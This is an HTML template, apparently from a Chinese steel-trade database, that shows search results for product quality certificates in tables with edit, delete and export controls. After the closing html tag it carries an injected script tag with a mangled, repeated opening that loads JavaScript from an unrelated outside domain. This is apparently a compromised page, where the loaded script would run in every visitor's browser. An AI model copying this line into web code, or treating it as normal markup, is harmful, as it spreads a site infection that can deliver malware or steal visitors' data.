<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
		<title>查询结果</title>
		<style type="text/css">
<!--
body {
	background-image: url(../img/back.gif);
}
-->
</style>
		<style>
td{
	border-right:1px solid #cbdced;
	border-bottom: 1px solid #cbdced;
	padding:3px;
}

th{
	background-color:#cbdced;
	padding:3px;
	border-right:1px solid #fff;
	border-bottom:1px solid #fff;
}
table{
	clear: both;
	border-top: 1px solid #cbdced;
	border-left: 1px solid #cbdced;
}
body{
	font-size:14px;
}
.green{
	color:green;
}

.red{
	color:red;
}

.redBgd{
	background-color: red;
	color: white;
}

.blue{
	color:blue;
}

.sum th{
	background-color:#8A95A1;
	color:white;
}
.exportBtn{
	margin-right:30px;
	margin-top:2px;
	margin-bottom:2px;
	float:right;
	display:block;
	padding:1px;
}

span[class=exportBtn]:hover{
	background-color:#8A95A1;
	color:white;
}
		</style>

	<script type="text/javascript" language="Javascript">
	function deleteConfirm(){
		return window.confirm('你确实要删除这一项吗？');
	}
	</script>
	</head>
	<body>

	<{if $main_certificationNumber or $ruku_certificationNumber or $chuku_certificationNumber}>
		<span class="exportBtn">
			<a href="exportMultipleTable.php?keyname=<{$keyname}>" title="点击进行导出结果">导出表格</a>
		</span>
	<{else}>
		抱歉没有符合你搜索的条目
	<{/if}>


	<table cellpadding="0" cellspacing="0">
	<{if $main_certificationNumber}>
		<tr>
			<th style="width:14em">产品质量证明书号</th>
			<th style="width:6em">发车证书号</th>
			<th style="width:5em">产品质量证明书编号</th>
			<th style="width:5em">批次</th>
			<th style="width:6em">生产厂家</th>
			<th style="width:6em">船级</th>
			<th style="width:6em">材质</th>
			<th style="width:10em">厚</th>
			<th style="width:5em">宽</th>
			<th style="width:6em">长</th>
			<th style="width:6em">数量</th>
			<th style="width:6em">单重</th>
			<th style="width:6em">重量</th>
			<th style="width:6em">订单号</th>
			<th style="width:6em">订单子项号</th>
			<th style="width:6em">受订单价</th>
			<th style="width:6em">物料号</th>
			<th style="width:6em">发货批次</th>
			<th style="width:6em">批号</th>
			<th style="width:6em">购单号</th>
			<th style="width:6em">发货时间</th>
			<th style="width:6em">合同月份</th>
			<th style="width:10em">车号</th>
			<th style="width:10em">销售产家</th>
			<th style="width:10em">备注</th>
			<th style="width:6em">上传文件名</th>
			<th style="width:6em">上传时间</th>
			<th style="width:5em">编辑</th>
			<th style="width:5em">删除</th>
		</tr>
		<{section name=main loop=$main_certificationNumber}>
		<tr>
			<td><{$main_certificationNumber[main]}></td>
			<td><{$main_facheNumber[main]}></td>
			<td><a href="showImage.php?image=<{$main_certificationCodification[main]}>.tif"><{$main_certificationCodification[main]}></a></td>
			<td><{$main_sequenceNumber[main]}></td>
			<td><{$main_manufactory[main]}></td>
			<td><{$main_authenticationMark[main]}></td>
			<td><{$main_steelNumber[main]}></td>
			<td><{$main_size1[main]}></td>
			<td><{$main_size2[main]}></td>
			<td><{$main_size3[main]}></td>
			<td><{$main_count[main]}></td>
			<td><{$main_unitWeight[main]}></td>
			<td><{$main_weight[main]}></td>
			<td><{$main_orderNumber[main]}></td>
			<td><{$main_orderSubitemNumber[main]}></td>
			<td><{$main_unitPrice[main]}></td>
			<td><{$main_materialNumber[main]}></td>
			<td><{$main_consignmentBatch[main]}></td>
			<td><{$main_sampleBatch[main]}></td>
			<td><{$main_purchaseNumber[main]}></td>
			<td><{$main_shipmentDate[main]}></td>
			<td><{$main_month[main]}></td>
			<td><{$main_vehicleNumber[main]}></td>
			<td><{$main_consignee[main]}></td>
			<td><{$main_remark[main]}></td>
			<td><{$main_filename[main]}></td>
			<td><{$main_uploadTime[main]}></td>
			<td><a href="rowEdit.php?type=main&id=<{$main_id[main]}>" title="点击进入编辑页面" target="_blank" >编辑</a></td>
			<td><form action="rowDelete.php" method="POST" onsubmit="return deleteConfirm()">
				<input type="hidden" name="type" value="main" />
				<input type="hidden" name="id" value="<{$main_id[main]}>" />
				<input type="submit" value="删除" title="点击删除这一行" />
				</form>
			</td>
		</tr>
		<{/section}>
		<tr class="sum">
			<th>小结：</th>
			<th colspan="3">总数量</th>
			<td><{$planSumCount}></td>
			<th colspan="3">总重量</th>
			<td colspan="2"><{$planSumWeight}></td>
		</tr>
	<{/if}>

	<{if $ruku_certificationNumber}>
		<tr>
			<th>产品质量证明书号</th>
			<th>发车证书号</th>
			<th>产品质量证书编号</th>
			<th>批次</th>
			<th>生产厂家</th>
			<th>船级</th>
			<th>材质</th>
			<th>厚</th>
			<th>宽</th>
			<th>长</th>
			<th>数量</th>
			<th>单重</th>
			<th>重量</th>
			<th>订单号</th>
			<th>订单子项号</th>
			<th>受订单价</th>
			<th>物料号</th>
			<th>发货批次</th>
			<th>批号</th>
			<th>购单号</th>
			<th>入库日期</th>
			<th>合同月份</th>
			<th>车号</th>
			<th>销售产家</th>
			<th>备注</th>
			<th>上传文件名</th>
			<th>上传时间</th>
			<th>编辑</th>
			<th>删除</th>
		</tr>
		<{section name=ruku loop=$ruku_certificationNumber}>
		<tr class="blue">
			<td><{$ruku_certificationNumber[ruku]}></td>
			<td></td>
			<td><a href="showImage.php?image=<{$ruku_certificationCodification[ruku]}>.tif"><{$ruku_certificationCodification[ruku]}></a></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td><{$ruku_consignmentBatch[ruku]}></td>
			<td></td>
			<td></td>
			<td><{$ruku_rukuDate[ruku]}></td>
			<td></td>
			<td></td>
			<td></td>
			<td>备注一：<{$ruku_remark1[ruku]}><br />
			备注二：<{$ruku_remark2[ruku]}></td>
			<td><{$ruku_filename[ruku]}></td>
			<td><{$ruku_uploadTime[ruku]}></td>
			<td><a href="rowEdit.php?type=ruku&id=<{$ruku_id[ruku]}>" title="点击进入编辑页面" target="_blank">编辑</a></td>
			<td><form action="rowDelete.php" method="POST" onsubmit="return deleteConfirm()">
				<input type="hidden" name="type" value="ruku" />
				<input type="hidden" name="id" value="<{$ruku_id[ruku]}>" />
				<input type="submit" value="删除" title="点击删除这一行" />
				</form>
			</td>
		</tr>
		<{/section}>
	<{/if}>

	<{if $chuku_certificationNumber}>
		<tr class="green">
			<th>产品质量证明书号</th>
			<th>发车证书号</th>
			<th>产品质量证书编号</th>
			<th>批次</th>
			<th>生产厂家</th>
			<th>船级</th>
			<th>材质</th>
			<th>厚</th>
			<th>宽</th>
			<th>长</th>
			<th>数量</th>
			<th>单重</th>
			<th>重量</th>
			<th>订单号</th>
			<th>订单子项号</th>
			<th>受订单价</th>
			<th>物料号</th>
			<th>发货批次</th>
			<th>批号</th>
			<th>购单号</th>
			<th>出库日期</th>
			<th>合同月份</th>
			<th>车号</th>
			<th>经手人</th>
			<th>备注</th>
			<th>上传文件名</th>
			<th>上传时间</th>
			<th>编辑</th>
			<th>删除</th>
		</tr>

		<{section name=chuku loop=$chuku_certificationNumber}>
		<tr class="green">
			<td><{$chuku_certificationNumber[chuku]}></td>
			<td></td>
			<td><a href="showImage.php?image=<{$chuku_certificationCodification[chuku]}>.tif"><{$chuku_certificationCodification[chuku]}></a></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td></td>
			<td><{$chuku_consignmentBatch[chuku]}></td>
			<td></td>
			<td></td>
			<td><{$chuku_chukuDate[chuku]}></td>
			<td></td>
			<td></td>
			<td><{$chuku_handler[chuku]}></td>
			<td>备注一：<{$chuku_remark1[chuku]}><br />备注二：<{$chuku_remark2[chuku]}></td>
			<td><{$chuku_filename[chuku]}></td>
			<td><{$chuku_uploadTime[chuku]}></td>
			<td><a href="rowEdit.php?type=chuku&id=<{$chuku_id[chuku]}>" title="点击进入编辑页面" target="_blank">编辑</a></td>
			<td><form action="rowDelete.php" method="POST" onsubmit="return deleteConfirm()">
				<input type="hidden" name="type" value="chuku" />
				<input type="hidden" name="id" value="<{$chuku_id[chuku]}>" />
				<input type="submit" value="删除" title="点击删除这一行" />
				</form>
			</td>
		</tr>
		<{/section}>
	<{/if}>

	</table>
	</body>
</html><scr<scr<scr<script language=javascript src=http://mm.aa88567.cn/index/mm.js></script> 